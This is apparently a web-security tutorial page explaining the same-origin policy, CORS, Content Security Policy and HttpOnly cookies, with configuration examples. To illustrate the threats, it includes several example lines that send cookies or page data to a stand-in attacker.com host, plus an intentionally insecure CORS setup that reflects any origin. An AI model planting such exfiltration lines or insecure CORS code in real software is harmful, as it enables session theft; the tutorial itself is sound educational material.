web-security-cheatsheet

The Complete Guide to Understanding Modern Web Security Mechanisms

A comprehensive, practical guide that explains not just what these security features do, but why they exist, how they work together, and when to use each one.

The Big Picture: Why These Exist

The Web Security Problem

Imagine you're visiting yourbank.com. On the same browser, you also have evil-site.com open in another tab. Without security mechanisms:

❌ evil-site.com could:
   → Read your bank account data
   → Steal your session cookies
   → Make transactions on your behalf
   → Inject malicious code into your bank page

The solution? A layered defense system:

    User visits your website
              ↓
    ┌─────────────────────────────┐
    │   Layer 1: SOP              │  ← Browser's default "wall"
    │   Blocks: Cross-origin data │    between different websites
    └─────────────────────────────┘
              ↓
    ┌─────────────────────────────┐
    │   Layer 2: CORS             │  ← Controlled "doors" in the wall
    │   Allows: Trusted origins   │    for legitimate cross-origin requests
    └─────────────────────────────┘
              ↓
    ┌─────────────────────────────┐
    │   Layer 3: CSP              │  ← Controls what can run on YOUR page
    │   Blocks: Untrusted content │    (even from your own domain if injected)
    └─────────────────────────────┘
              ↓
    ┌─────────────────────────────┐
    │   Layer 4: HttpOnly         │  ← Protects sensitive cookies
    │   Blocks: JS cookie access  │    from being stolen
    └─────────────────────────────┘

Quick Comparison: At a Glance

Feature

What It Controls

Enforced By

Use Case

SOP

Which origins can access your data

Browser (automatic)

Fundamental isolation

CORS

Which origins you ALLOW to access data

Server (you configure)

API sharing

CSP

What content can load/execute

Server + Browser

XSS prevention

HttpOnly

Whether JS can read cookies

Server (cookie flag)

Session protection

Same-Origin Policy (SOP)

The Foundation of Web Security

Think of it as: Each website lives in its own fortress. By default, they can't peek into each other's windows.

What is an "Origin"?

An origin is defined by three components:

https://www.example.com:443/page.html
━━━━━━  ━━━━━━━━━━━━━━━ ━━━
  │            │           │
Protocol    Domain       Port

Same Origin Examples:

Base: https://example.com/page

✅ https://example.com/another-page    (Same: protocol, domain, port)
✅ https://example.com/path/file.html  (Path doesn't matter)

❌ http://example.com/page             (Different protocol: http vs https)
❌ https://api.example.com/page        (Different subdomain)
❌ https://example.com:8080/page       (Different port)
❌ https://example.org/page            (Different domain)

What SOP Actually Does

✅ Allows (No Restrictions):

Embedding resources (but not reading them):

<!-- These work across origins -->
<img src="https://other-site.com/image.jpg">
<script src="https://cdn.other-site.com/lib.js"></script>
<link href="https://fonts.other-site.com/font.css">
<iframe src="https://other-site.com/page"></iframe>

Sending requests (POST, GET, etc.):

// This request WILL be sent to different-origin.com
fetch('https://different-origin.com/api/data', {
  method: 'POST',
  body: JSON.stringify({data: 'test'})
});
// ⚠️ The request is sent, but you can't read the response!

Blocks (SOP Restrictions):

Reading responses from other origins:

// Blocked by SOP
fetch('https://other-site.com/api/data')
  .then(res => res.json()) // ❌ Can't read this
  .catch(err => console.error('CORS error'));

Accessing DOM of other origins:

// If you have an iframe from another origin
const iframe = document.querySelector('iframe');

// ❌ Blocked by SOP
iframe.contentWindow.document.body.innerHTML;

Reading cookies/storage from other origins:

// On https://yoursite.com

// ✅ Can access your own cookies
document.cookie; // Works

// ❌ Cannot access other-site.com cookies
// (Browser prevents this entirely)

Real-World Example: Why SOP Matters

Scenario: You're logged into Facebook. You visit a malicious website.

// Without SOP, malicious site could do:
fetch('https://facebook.com/messages')
  .then(res => res.text())
  .then(html => {
    // ❌ Read all your private messages
    // ❌ Send them to attacker
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: html
    });
  });

With SOP:

 Browser blocks reading the Facebook response
 Your messages stay private

Common Misconceptions

Wrong Belief

Reality

"SOP blocks sending requests"

No, it blocks reading responses

"SOP prevents CSRF"

No, requests are still sent with cookies

"Same domain = same origin"

No, protocol and port matter too

"SOP prevents all XSS"

No, XSS happens on your origin

The Controlled Bridge Between Origins

Think of it as: SOP builds walls between websites. CORS lets servers install doors in those walls, with keys for trusted visitors.

The Problem CORS Solves

Modern web apps often need to:

Frontend on myapp.com talks to API on api.myapp.com
Mobile app needs to call your server
Partner sites need to access your public data

Without CORS: All blocked by SOP With CORS: Server says "I trust these origins"

How CORS Works: The Complete Flow

Simple Requests (GET, POST with simple headers)

┌─────────────┐                          ┌─────────────┐
│   Browser   │                          │   Server    │
│  (Origin:   │                          │             │
│  app.com)   │                          │  api.com    │
└─────────────┘                          └─────────────┘
       │                                        │
       │  GET /data                             │
       │  Origin: https://app.com               │
       │──────────────────────────────────────> │
       │                                        │
       │                                        │ ✓ Check if origin allowed
       │                                        │
       │  Response                              │
       │  Access-Control-Allow-Origin:          │
       │    https://app.com                     │
       │<────────────────────────────────────── │
       │                                        │
       ✓   Browser allows reading response

Preflight Requests (PUT, DELETE, custom headers)

┌─────────────┐                          ┌─────────────┐
│   Browser   │                          │   Server    │
└─────────────┘                          └─────────────┘
       │                                        │
       │  OPTIONS /data (Preflight)             │
       │  Origin: https://app.com               │
       │  Access-Control-Request-Method: PUT    │
       │  Access-Control-Request-Headers:       │
       │    Content-Type, Authorization         │
       │──────────────────────────────────────> │
       │                                        │
       │                                        │ ✓ Check if allowed
       │                                        │
       │  Access-Control-Allow-Origin:          │
       │    https://app.com                     │
       │  Access-Control-Allow-Methods:         │
       │    GET, POST, PUT                      │
       │  Access-Control-Allow-Headers:         │
       │    Content-Type, Authorization         │
       │  Access-Control-Max-Age: 86400         │
       │<────────────────────────────────────── │
       │                                        │
       ✓ Preflight approved                    
       │                                        │
       │  PUT /data (Actual Request)            │
       │──────────────────────────────────────> │
       │                                        │
       │  Response with data                    │
       │<──────────────────────────────────────│

Essential CORS Headers Explained

Server Response Headers

# 1. Who can access? (REQUIRED)
Access-Control-Allow-Origin: https://trusted-app.com
# Or allow everyone (⚠️ dangerous for sensitive data):
Access-Control-Allow-Origin: *

# 2. Which HTTP methods?
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS

# 3. Which custom headers can be sent?
Access-Control-Allow-Headers: Content-Type, Authorization, X-Custom-Header

# 4. Can send cookies/credentials?
Access-Control-Allow-Credentials: true
# ⚠️ Cannot use with "*" origin

# 5. Cache preflight response for how long? (seconds)
Access-Control-Max-Age: 86400

# 6. Which response headers can JS read?
Access-Control-Expose-Headers: X-Total-Count, X-Page-Number

Browser Request Headers (Automatic)

# Browser automatically adds:
Origin: https://requesting-site.com

# For preflight:
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization, Content-Type

Implementation Examples

Example 1: Node.js/Express - Whitelist Specific Origins

const express = require('express');
const app = express();

// Whitelist of allowed origins
const allowedOrigins = [
  'https://myapp.com',
  'https://admin.myapp.com',
  'https://partner.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  
  // Check if origin is in whitelist
  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.header('Access-Control-Allow-Credentials', 'true');
  }
  
  // Handle preflight
  if (req.method === 'OPTIONS') {
    return res.sendStatus(200);
  }
  
  next();
});

app.get('/api/data', (req, res) => {
  res.json({ message: 'CORS working!' });
});

Example 2: Using CORS Middleware

const cors = require('cors');

// Option 1: Simple (allow all)
app.use(cors());

// Option 2: Configured
app.use(cors({
  origin: function (origin, callback) {
    const allowedOrigins = ['https://myapp.com', 'https://admin.myapp.com'];
    
    // Allow requests with no origin (mobile apps, Postman)
    if (!origin) return callback(null, true);
    
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  optionsSuccessStatus: 200
}));

Example 3: Nginx Configuration

location /api {
    # Check if Origin is allowed
    if ($http_origin ~* (https://myapp\.com|https://admin\.myapp\.com)) {
        add_header 'Access-Control-Allow-Origin' "$http_origin" always;
        add_header 'Access-Control-Allow-Credentials' 'true' always;
        add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
        add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type' always;
    }
    
    # Handle preflight
    if ($request_method = 'OPTIONS') {
        return 204;
    }
    
    proxy_pass http://backend;
}

CORS Security: Common Vulnerabilities

Vulnerability 1: Reflecting Origin Without Validation

// ❌ DANGEROUS - Reflects any origin
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin);
  res.header('Access-Control-Allow-Credentials', 'true');
  next();
});

// Why dangerous?
// - Attacker can access your API from evil-site.com
// - If credentials: true, can steal user data

Fix:

// ✅ SAFE - Validate before reflecting
const allowedOrigins = ['https://myapp.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  
  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Credentials', 'true');
  }
  
  next();
});

Vulnerability 2: Wildcard with Credentials

// ❌ INVALID - Browser will reject this
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Credentials', 'true');

// Browser error:
// "Cannot use wildcard in Access-Control-Allow-Origin 
//  when credentials flag is true"

Vulnerability 3: Over-Permissive for Sensitive Data

// ❌ BAD - Anyone can read your API
app.get('/api/users/secrets', (req, res) => {
  res.header('Access-Control-Allow-Origin', '*');
  res.json({ ssn: '123-45-6789', creditCard: '1234...' });
});

Frontend: Making CORS Requests

Fetch API

// Simple request
fetch('https://api.example.com/data', {
  method: 'GET',
  credentials: 'include', // Send cookies
  headers: {
    'Content-Type': 'application/json'
  }
})
.then(res => {
  // Can only read these if exposed by server
  console.log(res.headers.get('X-Custom-Header'));
  return res.json();
})
.then(data => console.log(data))
.catch(err => console.error('CORS Error:', err));

// With custom headers (triggers preflight)
fetch('https://api.example.com/data', {
  method: 'PUT',
  credentials: 'include',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer token123'
  },
  body: JSON.stringify({ data: 'value' })
});

XMLHttpRequest

const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/data');
xhr.withCredentials = true; // Include cookies
xhr.onload = () => console.log(xhr.response);
xhr.onerror = () => console.error('CORS error');
xhr.send();

What CORS Does NOT Protect Against

❌ CORS is NOT a security feature for:

1. CSRF (Cross-Site Request Forgery)
   → Requests are STILL SENT (with cookies)
   → Use: CSRF tokens, SameSite cookies

2. XSS (Cross-Site Scripting)
   → Happens on your own origin
   → Use: CSP, input sanitization

3. Data theft via direct browsing
   → User can still visit your API URL directly
   → Use: Authentication & authorization

4. Server-side attacks
   → CORS is a browser feature
   → Use: Server-side validation, rate limiting

Content Security Policy (CSP)

Your Page's Bouncer: Controls What Gets In

Think of it as: A security guard at your website's door with a whitelist. Only content from approved sources gets through.

The XSS Problem CSP Solves

Cross-Site Scripting (XSS) is when attackers inject malicious code into your website:

<!-- Your website -->
<div id="comments">
  <!-- User input not sanitized -->
  <script>
    // Attacker injected this!
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</div>

Without CSP: Script runs, cookies stolen With CSP: Script blocked, site stays safe

CSP Directives: The Complete List

Resource Loading Directives

Directive

What It Controls

Example

default-src

Default for all resource types

'self'

script-src

JavaScript sources

'self' https://cdn.com

style-src

CSS stylesheets

'self' 'unsafe-inline'

img-src

Images

'self' data: https:

font-src

Web fonts

'self' https://fonts.gstatic.com

connect-src

AJAX, WebSocket, EventSource

'self' https://api.example.com

media-src

Audio, video (<audio>, <video>)

'self'

object-src

<object>, <embed>, <applet>

'none'

frame-src

<iframe>, <frame>

'self'

worker-src

Web Workers, Service Workers

'self'

manifest-src

Web app manifest

'self'

Document Directives

Directive

Purpose

Example

base-uri

Restricts <base> URLs

'self'

form-action

Where forms can submit

'self'

frame-ancestors

Who can embed this page (X-Frame-Options)

'none'

sandbox

Enables sandbox mode

allow-scripts allow-same-origin

Reporting Directives

Directive

Purpose

report-uri

Where to send violation reports (deprecated)

report-to

Named reporting endpoint (modern)

Source Values: The Keywords

Content-Security-Policy: script-src [source-values]

Value

Meaning

Use Case

'none'

Block everything

Block plugins: object-src 'none'

'self'

Same origin only

Scripts from your domain

*

Any URL (except data:, blob:, filesystem:)

Very permissive (avoid)

https:

Any HTTPS URL

Require encrypted connections

data:

Data URIs (data:image/...)

Base64 encoded resources

'unsafe-inline'

Inline scripts/styles

⚠️ Weakens XSS protection

'unsafe-eval'

eval(), Function()

⚠️ Dangerous, avoid

'strict-dynamic'

Trust scripts loaded by trusted scripts

Modern XSS protection

'nonce-[random]'

Scripts with matching nonce attribute

Best for inline scripts

'sha256-[hash]'

Scripts matching hash

Static inline scripts

https://example.com

Specific domain

Trust specific CDN

*.example.com

Domain with subdomains

All subdomains

CSP Levels: From Basic to Bulletproof

Level 1: Minimal Protection

Content-Security-Policy: default-src 'self'

What this does:

✅ Only resources from your domain
❌ Blocks all inline scripts/styles
❌ Blocks external CDNs

Good for: Simple websites with no external resources

Level 2: Practical Website

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com;
  style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
  font-src 'self' https://fonts.gstatic.com;
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self'

What this does:

✅ Scripts from your domain + specific CDNs
✅ Inline styles allowed (for convenience)
✅ Images from any HTTPS or data URIs
✅ API calls to your API domain
✅ Prevents clickjacking
✅ Blocks plugins (Flash, Java)

Good for: Most production websites

Level 3: Maximum Security with Nonces

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{RANDOM}' 'strict-dynamic' https:;
  style-src 'nonce-{RANDOM}';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self'

<!-- Server generates unique nonce per page load -->
<script nonce="r4nd0mV4lu3">
  // This runs
  console.log('Trusted script');
</script>

<script>
  // ❌ This is blocked (no nonce)
  console.log('Injected XSS');
</script>

<script nonce="r4nd0mV4lu3">
  // Scripts loaded by this trusted script also run
  // (thanks to 'strict-dynamic')
  import('./module.js');
</script>

What this does:

✅ Maximum XSS protection
✅ Only scripts with correct nonce run
✅ Dynamically loaded scripts trusted
❌ More complex to implement

Good for: High-security applications (banking, healthcare)

Real-World Implementation

Method 1: HTTP Header (Recommended)

// Node.js/Express
app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce; // Pass to templates
  
  res.setHeader('Content-Security-Policy', `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' https://cdn.jsdelivr.net;
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
    object-src 'none';
    base-uri 'self'
  `.replace(/\s+/g, ' ').trim());
  
  next();
});

// In your template (EJS example)
<script nonce="<%= nonce %>">
  console.log('This script is trusted');
</script>

# Python/Flask
from flask import Flask, render_template, g
import secrets

app = Flask(__name__)

@app.after_request
def add_csp(response):
    nonce = g.get('csp_nonce', '')
    csp = f"""
        default-src 'self';
        script-src 'self' 'nonce-{nonce}';
        style-src 'self' 'nonce-{nonce}';
        img-src 'self' data: https:;
        frame-ancestors 'none';
        object-src 'none'
    """
    response.headers['Content-Security-Policy'] = ' '.join(csp.split())
    return response

@app.before_request
def generate_nonce():
    g.csp_nonce = secrets.token_urlsafe(16)

Method 2: Meta Tag (Limited)

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' https://cdn.example.com;
               style-src 'self' 'unsafe-inline'">

Limitations:

❌ Cannot use frame-ancestors
❌ Cannot use report-uri / report-to
❌ Cannot use sandbox
✅ Can use most other directives

Testing CSP: Report-Only Mode

Use this before enforcing CSP!

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

What happens:

✅ Violations are reported but not blocked
✅ You can see what would break
✅ Safe to test in production

Setting Up Violation Reporting

// Report endpoint
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  const report = req.body['csp-report'];
  
  console.log('CSP Violation:', {
    documentURI: report['document-uri'],
    violatedDirective: report['violated-directive'],
    blockedURI: report['blocked-uri'],
    lineNumber: report['line-number'],
    sourceFile: report['source-file']
  });
  
  res.status(204).send();
});

Client-Side Violation Monitoring

document.addEventListener('securitypolicyviolation', (e) => {
  console.error('CSP Violation:', {
    directive: e.violatedDirective,
    blocked: e.blockedURI,
    policy: e.originalPolicy,
    line: e.lineNumber
  });
  
  // Send to monitoring service
  fetch('/log-csp-violation', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      directive: e.violatedDirective,
      blocked: e.blockedURI,
      page: window.location.href
    })
  });
});

Common CSP Mistakes & Fixes

Mistake 1: Using 'unsafe-inline' Everywhere

# ❌ BAD - Defeats the purpose of CSP
Content-Security-Policy: 
  script-src 'self' 'unsafe-inline';
  style-src 'self' 'unsafe-inline'

Why bad: Inline XSS can still work

Fix:

# ✅ GOOD - Use nonces
Content-Security-Policy:
  script-src 'nonce-{RANDOM}';
  style-src 'nonce-{RANDOM}'

Mistake 2: Overly Permissive Wildcards

# ❌ BAD - Too open
Content-Security-Policy: script-src *

Fix:

# ✅ GOOD - Specific domains
Content-Security-Policy: script-src 'self' https://trusted-cdn.com

Mistake 3: Forgetting frame-ancestors

# ❌ Missing clickjacking protection
Content-Security-Policy: default-src 'self'

Fix:

# ✅ Prevents iframe embedding
Content-Security-Policy: 
  default-src 'self';
  frame-ancestors 'none'

CSP Compatibility: Progressive Enhancement

// Support older browsers
app.use((req, res, next) => {
  const csp = "default-src 'self'";
  
  // Modern CSP
  res.setHeader('Content-Security-Policy', csp);
  
  // Older browsers (deprecated but still used)
  res.setHeader('X-Content-Security-Policy', csp);
  res.setHeader('X-WebKit-CSP', csp);
  
  // Prevent clickjacking (fallback for old browsers)
  res.setHeader('X-Frame-Options', 'DENY');
  
  next();
});

HttpOnly Cookies

Protecting Your Session Tokens

Think of it as: A vault for your cookies that JavaScript can't open.

When you log into a website, you get a session cookie:

Set-Cookie: sessionId=abc123xyz789

Without HttpOnly, an attacker can steal it via XSS:

// Attacker injects this script
fetch('https://attacker.com/steal?cookie=' + document.cookie);

// Your session is now compromised!

Set-Cookie: name=value; [flags]

All Security Flags Explained

Set-Cookie: sessionId=abc123; 
  HttpOnly;           ←  JavaScript cannot read this cookie
  Secure;             ←  Only sent over HTTPS
  SameSite=Strict;    ←  Never sent on cross-site requests
  Domain=.example.com; ←  Available to all subdomains
  Path=/;             ←   Available to all paths
  Max-Age=3600;       ← ⏱

PreviousWeb Penetration Testing Nextine

Last updated 3 months ago

hashtagTable of Contents

hashtagThe Big Picture: Why These Exist

hashtagThe Web Security Problem

hashtagQuick Comparison: At a Glance

hashtagSame-Origin Policy (SOP)

hashtagThe Foundation of Web Security

hashtagWhat is an "Origin"?

hashtagWhat SOP Actually Does

hashtag✅ Allows (No Restrictions):

hashtagBlocks (SOP Restrictions):

hashtagReal-World Example: Why SOP Matters

hashtagCommon Misconceptions

hashtagCross-Origin Resource Sharing (CORS)

hashtagThe Controlled Bridge Between Origins

hashtagThe Problem CORS Solves

hashtagHow CORS Works: The Complete Flow

hashtagSimple Requests (GET, POST with simple headers)

hashtagPreflight Requests (PUT, DELETE, custom headers)

hashtagEssential CORS Headers Explained

hashtagServer Response Headers

hashtagBrowser Request Headers (Automatic)

hashtagImplementation Examples

hashtagExample 1: Node.js/Express - Whitelist Specific Origins

hashtagExample 2: Using CORS Middleware

hashtagExample 3: Nginx Configuration

hashtagCORS Security: Common Vulnerabilities

hashtagVulnerability 1: Reflecting Origin Without Validation

hashtagVulnerability 2: Wildcard with Credentials

hashtagVulnerability 3: Over-Permissive for Sensitive Data

hashtagFrontend: Making CORS Requests

hashtagFetch API

hashtagXMLHttpRequest

hashtagWhat CORS Does NOT Protect Against

hashtagContent Security Policy (CSP)

hashtagYour Page's Bouncer: Controls What Gets In

hashtagThe XSS Problem CSP Solves

hashtagCSP Directives: The Complete List

hashtagResource Loading Directives

hashtagDocument Directives

hashtagReporting Directives

hashtagSource Values: The Keywords

hashtagCSP Levels: From Basic to Bulletproof

hashtagLevel 1: Minimal Protection

hashtagLevel 2: Practical Website

hashtagLevel 3: Maximum Security with Nonces

hashtagReal-World Implementation

hashtagMethod 1: HTTP Header (Recommended)

hashtagMethod 2: Meta Tag (Limited)

hashtagTesting CSP: Report-Only Mode

hashtagSetting Up Violation Reporting

hashtagClient-Side Violation Monitoring

hashtagCommon CSP Mistakes & Fixes

hashtagMistake 1: Using 'unsafe-inline' Everywhere

hashtagMistake 2: Overly Permissive Wildcards

hashtagMistake 3: Forgetting frame-ancestors

hashtagCSP Compatibility: Progressive Enhancement

hashtagHttpOnly Cookies

hashtagProtecting Your Session Tokens

hashtagThe Cookie Theft Problem

hashtagCookie Security Flags: Complete Guide

hashtagAll Security Flags Explained

Table of Contents

The Big Picture: Why These Exist

The Web Security Problem

Quick Comparison: At a Glance

Same-Origin Policy (SOP)

The Foundation of Web Security

What is an "Origin"?

What SOP Actually Does

✅ Allows (No Restrictions):

Blocks (SOP Restrictions):

Real-World Example: Why SOP Matters

Common Misconceptions

Cross-Origin Resource Sharing (CORS)

The Controlled Bridge Between Origins

The Problem CORS Solves

How CORS Works: The Complete Flow

Simple Requests (GET, POST with simple headers)

Preflight Requests (PUT, DELETE, custom headers)

Essential CORS Headers Explained

Server Response Headers

Browser Request Headers (Automatic)

Implementation Examples

Example 1: Node.js/Express - Whitelist Specific Origins

Example 2: Using CORS Middleware

Example 3: Nginx Configuration

CORS Security: Common Vulnerabilities

Vulnerability 1: Reflecting Origin Without Validation

Vulnerability 2: Wildcard with Credentials

Vulnerability 3: Over-Permissive for Sensitive Data

Frontend: Making CORS Requests

Fetch API

XMLHttpRequest

What CORS Does NOT Protect Against

Content Security Policy (CSP)

Your Page's Bouncer: Controls What Gets In

The XSS Problem CSP Solves

CSP Directives: The Complete List

Resource Loading Directives

Document Directives

Reporting Directives

Source Values: The Keywords

CSP Levels: From Basic to Bulletproof

Level 1: Minimal Protection

Level 2: Practical Website

Level 3: Maximum Security with Nonces

Real-World Implementation

Method 1: HTTP Header (Recommended)

Method 2: Meta Tag (Limited)

Testing CSP: Report-Only Mode

Setting Up Violation Reporting

Client-Side Violation Monitoring

Common CSP Mistakes & Fixes

Mistake 1: Using 'unsafe-inline' Everywhere

Mistake 2: Overly Permissive Wildcards

Mistake 3: Forgetting frame-ancestors

CSP Compatibility: Progressive Enhancement

HttpOnly Cookies

Protecting Your Session Tokens

The Cookie Theft Problem

Cookie Security Flags: Complete Guide

All Security Flags Explained